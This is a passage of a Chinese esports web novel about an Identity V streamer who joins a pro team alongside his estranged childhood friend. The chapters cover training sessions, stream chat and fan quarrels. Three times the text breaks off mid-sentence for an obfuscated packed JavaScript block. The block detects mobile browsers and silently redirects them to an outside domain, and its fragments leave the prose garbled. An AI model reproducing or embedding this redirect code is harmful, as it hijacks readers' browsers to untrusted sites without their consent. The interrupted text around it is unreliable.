《轮到我来带飞前男友了ivl[电竞]》 7. 青梅竹马 梧桐默默解释道:“我不是故意想听你们讲话,就是你们这趟洗手间去得太久了,我不放心出来看看……” 两个人饭吃到一半都说要去厕所,前后脚出了包厢,半天没人回来,梧桐是真的担心他们在厕所里打起来,就主动提出过去看一眼。 结果洗手间里空无一人,梧桐更担心了,一边打电话一边往火锅店外找。 然后他就看到两个人在路边萝卜蹲,这个蹲完那个蹲,不知道的还以为他们在玩游戏。 梧桐小心翼翼地观察了一下局势,很贴心地给两个人递了台阶:“我先带清嘉走了,小娅回去跟你们经理说一声吧。” 宋时谨站起来看了他一眼,最终还是顺着台阶下了:“我知道了。” 直到宋时谨的身影消失在夜色中,梧桐才说:“起来吧,他走了。” 祝清嘉仍旧埋着头,翁声翁气道:“蹲太久,腿麻,你拉我一下。” 梧桐伸手把人扶了起来,看见了他指间的烟,皱眉:“又抽烟,不是自己说的要戒?” 祝清嘉腿麻得没知觉,原地站了会,把烟头摁灭扔进了道边的垃圾桶。 开口说话时鼻音还是有点重:“点了才想起来在戒,没抽。” “你真心想戒就不会把烟带在身上。”梧桐说。 祝清嘉没搭腔,跟在梧桐身后,弯腰钻进了车后座,一时间只能听到引擎运作的声响。 冷风从窗外灌进来,打在祝清嘉脸上。 梧桐看了眼后视镜:“不冷吗?把窗关上吧。” 祝清嘉把车窗摇上了。 然后问:“你什么时候在哪儿的?” 梧桐回答:“基本都听到了。” 祝清嘉点点头:“那我刚才的表现是不是特别丢人。” “噢天呐,你怎么会这样想?”梧桐说,“丢人的肯定是辛西娅,他主动求和的。” 祝清嘉慢吞吞道:“我没有跟他在一起过。” 他现在处于情绪剧烈起伏后的平静期,心情淡淡的,“今年是我认识他的第十二年。” 梧桐挑眉。 “我和宋时谨的关系,曾一度非常、非常亲密。亲密到什么程度呢?两个人可以睡一张床,几乎是形影不离。” 说完没了下文。 梧桐追问:“那后来呢?你们为什么决裂了?” “我以为我们会要好一辈子,直到我发现他居然网恋骗我。” “骗你钱了?” 祝清嘉没吭声。 梧桐心中了然:“那就是骗你感情了,总不至于是骗身骗心?” 半晌,祝清嘉用力揉了一下自己有些干涩的眼眶,说:“差不多吧。他一个人,辜负了我两段感情,被发现后还气急败坏骂我,你说他是不是很过分?” 梧桐说:“辛西娅这么逆天?那你当时怎么不挂他?按照PUZ老板的性格,你实名举报,他当天就得滚出俱乐部。” 祝清嘉也想到过这一点,最开始是准备挂他,让他身败名裂的。 只是那时候刚好是比赛期间,如果主屠忽然离队,对当时的PUZ人队来说无疑是无妄之灾。 他不想因为自己和宋时谨之间的私人恩怨,影响到其他无辜的人。 那后来呢? 后来祝清嘉冷静下来,又觉得没必要了。毕竟自己是个有这么多粉丝的主播,毕竟过去十年的交情不是假的,毕竟…… 找了这样那样的理由,又或许只是因为他心软了。 祝清嘉说:“撕破脸皮未免闹得太难看,当时就想着好聚好散算了,现在来看还真是便宜他了。” 梧桐啧啧道:“这就叫风度,太体面了。” 说完这些,祝清嘉忽然想起了什么,摸了摸口袋,心想完蛋:“我手机忘在火锅店的包厢里了。” “啊,难怪刚才给你打电话没人接,现在掉头回去拿?” 祝清嘉只好无奈点头:“麻烦你了。” 两人回到火锅店时,梧桐接到了冷落的电话,说是聚餐已经结束了,临走发现祝清嘉的手机没拿,就给带回PUZ基地了。 祝清嘉有点被自己蠢笑了:“算了,这手机也不是非要不可。你让他们扔了吧,我换个手机。” 梧桐失笑:“至于吗?走吧,我帮你去拿。” 火锅店离PUZ的基地大概十多分钟的车程,快到目的地时,梧桐忽然说:“其实你也可以不那么便宜辛西娅的。” 祝清嘉没手机玩,就盯着自己的指尖发呆,一时间没反应过来:“什么?” “他不是主动找你求和吗?他辜负了你的感情,那你现在不就可以反过来钓着他吗?” 祝清嘉吐槽:“太不道德了吧。” 梧桐语气理所当然:“这有什么不道德的?就许辛西娅玩弄你的感情,不许你玩弄他的吗?而且我也不是随便说的,都是有参考文献的!” 只见梧桐打开了手机里某个白绿色的同人软件,递给了祝清嘉:“喏,里边都是这么写的。” 祝清嘉扫了一眼自己和宋时谨的cp标签,摇头轻笑:“这就是你的参考文献?我看你的属性也是偷偷藏不住了,早晚有一天得被我毕业。” 梧桐也笑,把车停到路边:“到了,你去吧,我在这等你。” PUZ基地是一座两层楼的独栋小别墅,附带一个花园,外面的铁门没上锁,祝清嘉就直接走进院子里按门铃。 片刻后,门开了。 祝清嘉抬眸,看到来开门的人是冷落,莫名有种落空的失望感。他接过自己的手机,又觉得有点可笑,不知道自己在期待什么。 冷落见他半天没动静,试探地问了句:“清嘉要进来坐坐吗?” 院落外有人按了声喇叭,祝清嘉垂着眼没说话,良久,他自嘲一笑,说:“我找你们经理。” 冷落微微一愣,随即喜道:“那快进来吧,我去叫万老板。” 进门后的玄关旁有一个鞋柜,祝清嘉换鞋弯腰时简单扫了一眼。 然后他绝望地发现,仅仅是这么随意一看,他就能通过买鞋的审美取向,判断出这里哪几双鞋是宋时谨的。 祝清嘉跟在冷落身后,进了会客室,心想自己这辈子真是被宋时谨毁了。 冷落说:“我去喊经理,你在这坐会。” 祝清嘉点点头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14872760|159581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 训练室也在一楼,应该就在会客室的隔壁,因为祝清嘉清晰地听到钟情的声音在喊“贝贝们全票打飞这张三号牌哈”。 祝清嘉给梧桐发了个消息,让他先回去,自己等会打车回酒店。 不一会,冷落回来了,歉然道:“不好意思啊,我们经理刚好在讲电话,可能要稍微等一会,我带你俱乐部里转转吧?” 祝清嘉摇头:“不了。我就在这等吧。” 冷落点点头,看到宋时谨恰好走出训练室,喊他:“小娅。” 短短一天的时间,祝清嘉已经对这两个字脱敏了。他窝在沙发上,神情麻木地看着宋时谨走进会议室。 冷落:“刚好,你在这陪清嘉聊会天,我去给他泡杯茶。” 冷落自认为这个决策简直完美。 祝清嘉这种时候来俱乐部找经理,目的是什么不言而喻。 祝清嘉和宋时谨之间的关系很僵,他今天也看出来了。 如果今晚一切顺利,那么将来两个人就是队友,住在一个屋檐下,抬头不见低头见的。虽然不是一个阵营,不需要他们打配合,但关系不好总归不利于战队和谐。 从冷落的视角来看,祝清嘉是性格这么好一小孩,宋时谨虽然有时候很装,但本质也是个好孩子,两个人之间必然不存在什么血海深仇的纠葛。 只要让他们多独处一会,讲清楚矛盾的前因后果,一切问题都会迎刃而解的! 话音落下的瞬间,会客室里的气氛宛如上坟。 冷落说:“不愿意啊?” 宋时谨沉默了一下:“没。他不喝纯茶。” “也是,现在年轻人喝不来茶的多,” 冷落想着反正来日方长,也不急这一时半会的,决定还是先不为难这两个人了,对宋时谨道,“那你去给清嘉拿瓶可乐吧。” 宋时谨应了声,走了。 没过多久,一杯牛奶被放在祝清嘉身前:“冰箱里的可乐没了,给你倒了杯牛奶,凑合喝吧。” 祝清嘉还是在低头看手机,半晌轻轻“嗯”了一声。 冷落看着那杯牛奶,后知后觉地意识到了什么,看向宋时谨:“你怎么知道清嘉不喝茶的啊?你们以前是认识的吗?” 宋时谨:“……” 祝清嘉端起牛奶,恰好和宋时谨的目光对上了。 他本来想直接说不熟,撇清关系的,但又有点好奇此时此刻的宋时谨会怎么介绍自己和他的关系,于是沉默着等他先说。 气氛微妙,就在冷落准备打圆场揭过这个话题时,宋时谨终于开口了。 他说:“我们以前是同学。” 同学。 祝清嘉反复咀嚼这两个字,只觉得心里酸溜溜的,闷头喝了一口牛奶来遮掩情绪。 十年的朝夕相处,到头来连朋友都算不上。 冷落下意识接了一句:“高中的同学啊?” 宋时谨说:“从小学到高中的同学。” 冷落:“……” 冷落说:“可能是风俗不同吧,我们这边不管这种关系叫同学。两个人从小一块长大的,一般叫发小,或者青梅竹马。” 8. 监工 这时,讲完电话的九万终于姗姗来迟,冷落和宋时谨一前一后地离开了会客室。 九万对祝清嘉笑了一下,开门见山道:“客套话就不多说了,清嘉现在来找我,是已经考虑好了吗?” 考虑好了吗? 宋时谨轻描淡写的一句同学,祝清嘉又觉得有点心乱如麻了。 即便加入PUZ,和宋时谨同队了,那又怎么样呢?他到底图什么? 训练室的门没关,祝清嘉可以很清楚地听到PUZ队员聊天说话的声音。 “——我现在对牵制喧嚣的理解高得可怕!辛西娅!上号单练!!” “祖宗算我求你,别让辛西娅身上沾到你的菜味。” “而且秋季赛也不上喧嚣,有这功夫不如练练你那飞行家,今天比赛又交喷气背包往墙上撞。” “我只是预判了对手移形的位置,我那波在大气层好吗?” “不是辛西娅你笑什么?你刚才绝对偷偷在笑我都看见了,你过来给我解释清楚!!” 九万起身,把会客室的门关上:“不好意思啊,我也是服了他们了,一天天的吵得要命,整栋楼都听得见他们的声音。” 周围瞬间安静了下来,只能听到几道隐约模糊的笑声。 祝清嘉垂着视线,道:“没事。” 他没由来地想起了梧桐说的那句话,如果他真心想戒烟,就不会把烟带在身上。 正因为戒烟的决心没有那么强烈,所以他给了自己随时放弃的机会。 或许就是这么简单的道理吧,正因为他对宋时谨的耿耿于怀,所以才来到了PUZ基地。 半晌,祝清嘉轻轻吐出一口气,说:“经理,我想来试训。” 九万把知秋叫进了会客室,三个人面对面沟通了一下。 知秋的意见是不必额外试训了,今天的赛场表现足以证明祝清嘉有打职业的能力。 九万很快拟好了合同,祝清嘉简单看了下各项条款,痛快地签下了自己的名字。 九万把相关文件收好,心里悬着的那块石头终于安然落地,他长出一口气,真心实意道:“欢迎你加入PUZ,希望我们相处融洽,愉快共事。” 知秋也说:“欢迎清嘉,今后我们一起加油。” 九万:“我让基地阿姨给你收拾一下宿舍,你订酒店了吗?订了的话今晚可以先回酒店,明早一切安排妥当了再过来。” 祝清嘉点头:“订了。” 两个人加上了微信,九万说:“把你酒店的定位发给我吧,我送你过去。” “不麻烦了,我自己打车去就行。” “哎别,”九万拿上车钥匙,连忙拦住了他,“我们这地方有点偏,车不好打,现在时候晚了也不安全,我送你去吧。” 祝清嘉没再客气,跟在九万身后离开了PUZ基地。 车上,九万说:“我刚才联系了战队运营,没什么问题的话今晚就官宣入队了,也给粉丝吃一颗定心丸,等下你记得转发。” 祝清嘉自然没有异议。 九万闲着也是闲着,又说了一堆有的没的:“来打职业以后,直播时间肯定是要减少的,势必会流失一部分粉丝。但是也不用难受,相信以你的实力,很快就会收获一批赛事技术粉的。” 祝清嘉低头刷手机,心不在焉地“嗯”了一声。 刚才九万把他拉进了战队群,钟情一连发了好几个第五人格的发疯表情包,祝清嘉觉得很有意思,顺手保存了下来。 大家纷纷对他表示了欢迎,宋时谨也不例外。 三年前,两个人刚闹掰的时候,祝清嘉震怒之下删除并拉黑了他的所有联系方式,至今没有加回来。 但现在毕竟是队友了。 祝清嘉点开他的个人主页出了会神,下车的时候把这个账号移出了黑名单,然后在战队群里拍了拍宋时谨的头像。 祝清嘉冷酷地心想,给你一个主动加我的机会。 回到酒店套房,祝清嘉先去洗了个澡,洗完已经是十一点多了。 祝清嘉躺在床上,打开手机,看到宋时谨的好友申请,点了个通过。 聊天框里,系统自动弹出「已经成功添加为好友,可以开始聊天了」的字样。 但祝清嘉并没有想开始聊天的欲望,退出该界面后,看到梧桐给他转发了一条微博。 PUZ官博执行力超高,已经发好了官宣文案。 「梧桐:天呐。你真的去PUZ了。」 「梧桐:下次赛场见面就是对手了。」 祝清嘉打字:「意外吗?」 「梧桐:说实话不意外。」 「梧桐:还记得我之前和你说的吗^^钓着辛西娅,让他也感受一下被戏弄被辜负的滋味。」 「梧桐:你对他的态度要若即若离,要阴晴不定,要让他捉摸不透你的想法!」 祝清嘉:「……」 手机扔在床上发出一声闷响,祝清嘉望着酒店的天花板,心烦意乱地想,别说宋时谨了,他自己都捉摸不透自己的想法。 躺了一会,祝清嘉重新捡起手机,转发了官宣的微博,顺便看了眼评论区。 评论区里一片祥和,祝清嘉的加入对战队整体实力来说无疑是补强,队粉接到了心仪的选手,纷纷表示过年了。 官博底下的评论清一色的未来可期,祝清嘉面无表情地看了会,然后反手点进论坛找虐。 果不其然,论坛上早已掀起腥风血雨。 【我嘞个中秋节官宣加入PUZ了。】 【逆天。PUZ给他灌了什么迷魂汤?谁不知道他恨上巳节恨得要死,这俩能一队??】 【我就问一句话。没爱过能这么恨?没爱过能这么恨?没爱过能这么恨?】 【男同性恨不比这破比赛精彩?台上做恨台下粉丝掐架,好看爱看。】 【有一说一,中秋节和上巳节的花名都像情侣id,天造地设的一对b人。】 【这两个人到底什么仇什么怨啊?有人知道吗?】 【0个人知道。我帮你打电话问问祝清嘉。】 【这下PUZ真瘟完了。两个圈内最有战斗力的粉丝群体齐聚一堂,乐子人狂喜。】 这些明显是看乐子的网友,真要说破防还得是宋时谨的唯粉。 【嘉宝妈打进来我先求佛。】 【我看以后PUZ输比赛谁敢说人队,都给我亲亲抱抱举高高。】 【嗯嗯嗯嗯你们知道的,虽然我们清嘉宝宝抽烟喝酒打耳钉但他真的只是个乖弟弟。】 【虽然是自己技不如人被辛西娅四抓两局,但赛后是要甩冷脸的,握手是不伸手的,粉丝是捂嘴溺爱的。】 祝清嘉的唯粉同样不甘示弱,两边撕得有来有回: 【娅杂在自我高潮什么?只是官宣入队就这么应激,真以为全世界都想迫害你们蒸煮啊?】 【没绷住,其他的就算了,娅杂也配说别家捂嘴溺爱?年年都在吹风,怎么还没把辛西娅从天台上吹下去?】 【辛西娅为什么不拿冠军?是因为不喜欢吗?辛西娅为什么不拿冠军?是因为不喜欢吗?】 【我还以为冠军很好拿呢,隔壁Link可是随随便便拿了五个啊!】 …… 看到网友们淬了毒似的小嘴,和一如既往的犀利锐评,祝清嘉心满意足 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14872761|159581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地关上了论坛。 他和宋时谨的聊天框依旧停留在那句「可以开始聊天了」,谁都没有先开口,事实上也没什么可说的。 为了赶今早的飞机,祝清嘉昨晚都没睡多久,今天又是打比赛又是和宋时谨掰扯,这会困得眼皮子都在打架。 几乎是闭上眼就睡着了。 翌日中午,祝清嘉拖着自己的小行李箱,按响了PUZ基地的门铃。 门很快被打开,钟情顶着一头刚睡醒的鸡窝头,很没形象地出现在祝清嘉面前。 他明显愣了一下,随即反应过来:“哦哦清嘉来了,快进来吧,我去叫经理。” PUZ一楼是会客室、餐厅、厨房、训练室,队员的宿舍都在二楼。 九万领着祝清嘉上了楼。 房间不大,是双人间,上下床的配置,床铺对面摆着桌椅、衣柜等等,有独立卫浴,像是学生宿舍。 祝清嘉把随身背的小包扔在空着的那张桌上,另一张桌子上有电脑外设之类的的东西,但摆放得很整洁,反倒很像工位。 祝清嘉盯着看了两秒,问:“我的舍友是谁?” 九万:“你和辛西娅一间。” 祝清嘉的表情一瞬间变得有些微妙。 于是九万解释了一下情况:“现在就他和教练的房间有空床,但是我估计你和知秋住不惯,oil搬走之前总是吐槽他晚上睡觉打呼。” 上下铺都铺得很整齐,但叠被子的习惯不同,祝清嘉辨认出来宋时谨平时睡得是下铺。 他心平气和道:“我知道了。” “来之前吃过饭么?我们俱乐部规定选手十二点前起床打排位,下午两点吃午饭,现在辛西娅他们已经在训练室打排位了。” 祝清嘉说:“还没。” 九万:“那你自己收拾下行李,我让阿姨等下早点开饭。” 祝清嘉这两年作息规律很乱,基本什么时候想起来什么时候吃饭,想不起来就不吃,所以这会也没觉得饿。 他这次来广东,原本计划是呆两天就回去,所以只带了两件换洗的衣物,没费什么功夫就收拾好了行李,下了楼。 训练室里大家都在打排位,想念和钟情双排,宋时谨自己在打屠夫。 祝清嘉路过他的电脑屏幕时,他刚好排到人,地图是月亮河公园,正在赛前选角色的阶段。 就这么垂眸看了几秒,然后做出了一个震惊所有人的举动。 他随手拉过了一旁没人坐的电竞椅,就这么水灵灵地在宋时谨身后坐下了。 宋时谨开着摄像头,角度刚好能拍到祝清嘉的所有动作,直播间的弹幕直接炸了。 【笑死我了,清嘉在主播身后坐下的瞬间,主播整个人肉眼可见地坐正了。】 【祝清嘉过来找什么存在感???不知道我们直播间没人想看见他吗?】 【祝清嘉看见弹幕就赶紧死边上去行不行?别影响主播打排位。】 【辛西娅到底想玩什么,选个角色这么纠结吗?这个看看那个看看,倒计时都要结束了啊喂。】 【清嘉这是在当监工吗?猫猫凝视jpg.】 在倒计时结束的前一秒,宋时谨的光标停在了时空之影上,但没来得及按下鼠标。 于是系统自动锁定了他选择的上一个角色,宿伞之魂。连天赋页都没来得及看上一眼,就直接进入区域选择的环节了。 宋时谨:“……” 祝清嘉觉得坐在后面看屏幕有点费劲,索性把椅子拖到了宋时谨身旁,双手撑在了他的桌面上。 见状,他偏过头看着宋时谨的侧脸,促狭地笑了一声:“会玩宿伞么,你就选。” 9. 投降 宋时谨望着显示器上的区选界面,陷入了沉默。 眼看着倒计时又快结束了,祝清嘉好心地指了一下鬼板的位置,说:“选这儿吧,偷感重一点。” 光标顺着祝清嘉的指尖划拉了一下,选中鬼板,然后点了确定。 宋时谨平时排位不是只玩版本强势的屠夫,但也仅限于渔女、隐士之类的t2监管者。 宿伞之魂这种选出来纯坐牢的屠夫,他是真的没玩过。 看着屏幕上玻璃碎裂的动画,祝清嘉忽然开口道:“我给你选。我现在连人带椅滚远点,或者坐在这里解说你排位,没有第三个选项。” 两个人之间的距离很近,手肘几乎要挨到一起,祝清嘉甚至能闻到宋时谨身上的气息。 宋时谨垂眸看着键盘,语气有些无奈:“你看吧,但我真的不会玩宿伞。” 祝清嘉满意地笑了下,收回了自己的手,整个人靠在了椅背上,一种很放松的姿态。 他一边看宋时谨打排位,一边解说。 “好的我们现在进入游戏画面。” “辛西娅选出了四个字的强力的控场型监管者,宿伞之魂,携带底牌一刀斩。这个版本不带张狂,如果不是对自己的追击特别自信的话,那就是刚才赛前走神忘记看天赋了。” 赛前开小差没看天赋的宋时谨开局直接捏伞,传到了机械师脸上。 “这个机械师对慈善家的角色理解应该很深,慷慨地秒送了两个娃娃,帮助没有张狂的宿伞解锁了一阶技能。” “机械现在的点位很差,摇铃摇到就击倒了,挂这个位置还能干扰起点站的作曲家修机。” 祝清嘉解说的语调全程没有丝毫起伏,听起来像念经:“场上电机保守估计修了两台多,宿伞差一刀的存在感开二阶,手里还捏着个闪现,局势大好。” 宿伞守椅期间,祝清嘉抽空看了眼弹幕,刚才骂人的、人身攻击的那几条弹幕都已经被房管封了,所以现在直播间的气氛还算得上和谐。 【woc,这两个人到底什么情况啊?】 【训练室是没地方坐了吗,清嘉为什么非要挤在辛西娅旁边?】 【说好的仇人宿敌冤家男同性恨呢?怎么是这个风味??】 【闻到了一种暗流涌动的火.药味。】 【清嘉解说还挺专业的,不像某个主播,打游戏的时候只会装高冷。】 “我们采访一下辛西娅选手,是现在更紧张还是打深渊决赛的时候更紧张?”祝清嘉语气平淡地念出了这条弹幕。 话音落下的瞬间,宿伞之魂原地交了个闪现。 宋时谨自己都有点没绷住,解释:“不小心按到鼠标了。” 【哈哈哈哈哈!别的不知道,反正主播深渊决赛的时候没紧张到误触闪现。】 【可怜的辛西娅,感觉他键盘怎么按都不知道了。】 【主播道心乱了。】 祝清嘉其实很想笑,可是这种时候笑出来就显得太亲近了,就好像他和宋时谨之间是什么可以随意玩笑取闹的关系。 于是那抹笑意刚到嘴边,就倏然消散开来。 祝清嘉看着屏幕,忽然有点不知道该怎么解说了,等他重新开始关注对局的时候,机械师已经被挂飞了。 “辛西娅对慈善家的理解也不低,担心求生劣势局游戏体验太差,很大度地给对面让了个闪现。” 宋时谨的宿伞确实没什么熟练度,再加上一直有点心不在焉,摇铃和传伞失误了好几次。 密码机只剩一台,场上三个求生虽然都是半血状态,但是无人上椅,局势有些趋向于平局节奏了。 “现在辛西娅该怎么办呢?闪现还在cd,脸上的杂技演员有点终结不掉,外面两台机子在修呢。” 宋时谨没说话,继续传伞吸魂满地图控场,杀不掉人就硬拖自己的技能cd。 终于在四分多钟的时候,宋时谨排耳鸣排到了躲在马戏团后面补血的作曲家和野人。 闪现击倒作曲后,把人挂在了地下室,底牌换成了传送,至此基本奠定了胜局。 虽然过程有点坎坷,但宋时谨还是完成了四抓,看着屏幕上显示的“大获全胜”,祝清嘉有点无话可说了。 他根本不知道自己在干什么。 宋时谨一脸平静地退出结算界面,进入了下一局的匹配队列。 【主播的宿伞没有熟练度全是基本功。】 【主包是被使徒安炸猫沉默了吗?为什么不说话?】 【爆笑,宋时谨表面绷着实则方寸全无。】 祝清嘉终于放过了宋时谨,也放过了自己,他连人带椅麻利地滚到了训练室无人的角落里,在离宋时谨最远的位置上坐下了。 原本训练室的其他人,看到祝清嘉进来时都是准备打招呼的,没曾想他在众目睽睽下直接搬椅子坐到了宋时谨边上,于是大家只好默契地噤声,装作没看见。 这种尴尬的气氛,直到经理喊他们吃饭才略微缓解了一些。 饭后就是常规的队内训练,正式开始前,知秋先简单分析了一下目前的情况:“常规赛还有两周结束,我们PUZ的比赛还剩三场,好消息是强队前半程都已经碰上了,之后的对手强度都不高。” “我们现在的目标是先稳住季后赛,条件允许的话挤进胜者组。” IVL常规赛是bo3双循环的积分赛制,积分排名前六的战队进入季后赛,前四的战队进入胜者组,剩余两支战队为败者组。 败者组没有容错率,输一场就直接回家,想夺冠得一穿五,而胜者组则拥有一次复活甲。 虽然祝清嘉主观上不愿意承认,但宋时谨确实强得很客观,无论是角色熟练度、追击能力、控场思路,都是联赛最顶尖的存在。 一下午的训练赛,基本都是宋时谨的乱杀局,人队磨合方面的问题不小。 要么配合不起来,要么配合起来了,打了一套热血沸腾的组合技,回头一看机子修不够,节奏直接炸了。 人队刚刚重组,还需要时间逐渐熟悉彼此的习惯思路、培养队友之间的默契,当下最堪忧的其实是每个队员自身或多或少都有点毛病。 知秋平时和大家玩归玩,闹归闹,训练的时候却很严厉。 “清嘉目前来看操作没有大问题,就是习惯不好,刚才这一局,已经不需要你拖时间了,为什么非要等辛西娅走过来开分手枪?” “不要把排位里刷分的坏习惯带到训练赛和赛场上,下不为例。” 祝清嘉低着头,乖乖认错:“对不起教练,下次不会了。” “想念还是那几个老生常谈的问题,抗不住压,今天有几局一溜秒倒的局,自己反思,晚上把你复盘的内容发给我。” 想念也垂着脑袋,乖乖道:“我知道了教练。” 因为想念和清嘉都算赛场新人,知秋的语气还算温柔,另一边的钟情和冷落就没那么好运了。 知秋直接点名:“钟情,你好好学一下人家清嘉是怎么贴模的。为什么都说你稳定性不够?就是因为你细节做得太差,才会给到不应该给的机会。” 钟情老老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14872762|159581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实实地立正挨打:“好的教练,我下次会注意的。” “——还有冷落,还要再说多少次,指挥不是请客吃饭,如果你自己都不相信自己的判断,怎么让你的队友信服你?” 冷落立刻道:“对不起,打到后面思路乱了,我自己反思。” 打完一局复盘一局,几乎所有人都挨了教练的训。 但也有某个人是例外。 训练结束的时候,宋时谨一边拆手上的绷带,一边问:“教练,那我呢?” 知秋伸手在宋时谨的脑门上弹了一下,怒道:“小崽子得了便宜还卖乖,不骂你又不是说你没失误,自己去复盘。” 宋时谨上赶着讨完骂,整个人都舒坦了:“得令。” 训练结束已经是六点,俱乐部六点半吃晚饭,七点又到了排位时间。 祝清嘉玩了一下午好玩的第五人格,这会看到游戏都有点养胃。 梧桐取笑他:“怎么回事?平时排位一到点就跟打了兴奋剂一样,今天怎么焉头巴脑的。” PUZ的日程安排是每天四小时排位,加上下午四小时晚上三小时的训练赛,这还不算自己复盘单练的时间。 这么算下来,一天有十几个小时都要在欧利蒂斯庄园里度过。 祝清嘉说:“如果你知道我一天能玩十几个小时的第五人格,你也会觉得我幸福的。” 梧桐安慰他:“习惯了就好,我们这种铁血五批是这样的。” 祝清嘉揉了揉脸,打起精神打排位。 首班车排到了圣心医院,求生者的优势图,祝清嘉本来想奖励自己一把双弹飞轮盲女,但是两个野排的队友赛前打字: 咒术师:「兄弟补个救人位呗?包C的。」 医生:「在冲S1,我们医咒打配合,拜托啦拜托啦。」 梧桐平时训练赛和比赛里打够了救人位,排位坚决不拿,于是祝清嘉只好补位,把盲女换成了佣兵。 进入游戏,监管者是使徒安,首追木屋的咒术师,开局两只猫就倒地了,木屋还是地下室。 本就不富裕的家庭雪上加霜。 祝清嘉只好放下自己手中修了三十的电机,跑去救人。 他交了两个护腕,把人从地下室里救了出来,咒术交三层电转点去废墟,逼出了使徒的移形。 节奏稍微好了一点。 祝清嘉点了个“别救保平”,想去找大房的医生摸血,谁料医生头也不回地奔向了上挂的咒术师。 然后被使徒打了个A晕A,没救下来,倒在椅子边目送咒术师挂飞。 祝清嘉:“……” 梧桐有点被气笑了:“两个天才。” 【神特么医咒联动,一死一送。】 【嗯嗯嗯嗯,我们包C的。】 【赛前看到这种指挥队友补位的就知道这局完蛋了。】 祝清嘉和梧桐都是明败人,不喜欢浪费时间,这种打不了的局都是主动送了的。 使徒击倒了梧桐的律师,挂上了椅子,却没有打佣兵,原地做了个动作。 意图很明显。 祝清嘉秒救梧桐两挂,助力他快速飞天,然后跟在使徒身后找地窖。 使徒乖乖站到板子中间,贴了个涂鸦。 祝清嘉却有一种莫名的预感,没像以前一样直接砸板刷分,而是问梧桐:“你退出去看一眼,屠夫是谁?” 梧桐退出了观战,沉默两秒,说:“辛西娅。” 祝清嘉点点头,然后反手点了投降,淡声道:“我不差地窖的这两分。” 10. 单练 话音落下,祝清嘉对自己这次的发挥非常满意。 这冷漠的语气,这高冷的姿态,他说话时的音量不低,宋时谨肯定可以听到。 中午解说他打排位,伤敌一千自损八百,属实失策,但这次难堪的只有宋时谨一人! 祝清嘉若无其事地偏过头,只见一旁的宋时谨神色如常地退了赛后,秒开了下一把。 祝清嘉失望地收回了目光。 【主播一分钟内朝辛西娅的位置瞟了八百眼。】 【煮啵下次装逼前记得先把摄像头关了,这样至少听起来还挺像那么回事的。】 【都不敢说那个词?直播间这么多水友,没一个人敢说那个词?好吧我也不敢说。】 【前面的见好就收吧,不要给主播破防封号的机会。】 …… 晚上排位结束后又是训练时间。 祝清嘉挂着游戏,坐等冷落拉自定义,却半天没有收到组队邀请。 再抬头一看,发现所有人都拿着纸笔,埋着头不知道在写什么东西。 祝清嘉茫然四顾,下意识看向了身旁的冷落。 冷落这才想起来给新人解释情况:“我们战队下午的日程安排一般是队内训练,晚上虽然也是训练,但形式会自由很多。” “如果没和其他战队约训练赛的话,基本上就自己练自己的,复盘或者单练。” 祝清嘉懂了,但没完全懂:“所以你们在写什么?” 一旁的钟情停下笔,探过头来:“写作业呀,等下教练要来检查的。” 说着把自己手中的小本子递给了祝清嘉。 祝清嘉接过本子,大致看了一下,是对今天下午训练赛的复盘。 “而且知秋是一款非常传统的班主任,无论复盘还是检讨都不收电子稿,只收手写的,说是什么好记性不如烂笔头,亲手写下来才会记忆深刻,”钟情对此显然怨念颇深,“我转会到PUZ快一年,字都练漂亮了!” 想念边看录像边复盘,闻言头也不抬地损了他一句:“你那狗爬字跟漂亮这个词有关系么?” 钟情正欲炸毛,就听祝清嘉好奇道:“你们还写检讨啊?” “写啊,比赛的时候人队被四抓要写,屠夫被四跑要写,冷队在俱乐部里偷偷抽烟被发现也要写,”钟情细数道,“关于检讨这事,辛西娅应该挺有发言权的,毕竟他在PUZ这么久。” 冷落接过话头:“知秋还把小娅写的检讨按照年份装订成册了,说是等他退役的时候再还给他,留作纪念。” 祝清嘉下意识地看了眼宋时谨,发现他戴着耳机,正在看隔壁日本赛区的常规赛录像,神情专注,似乎并没有关注到训练室里的动静。 正想说些什么,训练室的门被推开,知秋看着他们,拧着眉道:“都复盘好了?” 众人登时噤声,专心写起了作业,气氛很像高中时的自习课,而知秋则是那个不苟言笑的班主任。 训练室里一时间只能听到纸笔摩擦发出的沙沙声。 当然也有两个没动笔的。 祝清嘉左看看右看看,在思考自己是不是也该写点什么,宋时谨则是仗着自己下午训练赛失误少,没什么需要额外复盘的内容,心安理得地看比赛录播摸鱼。 感受到知秋的目光,宋时谨摘下耳机,为了证明自己是有思考的在摸鱼,还装模作样点评了一句:“ijl打的这个体系还挺新的,下次训练赛我们也可以试试。” 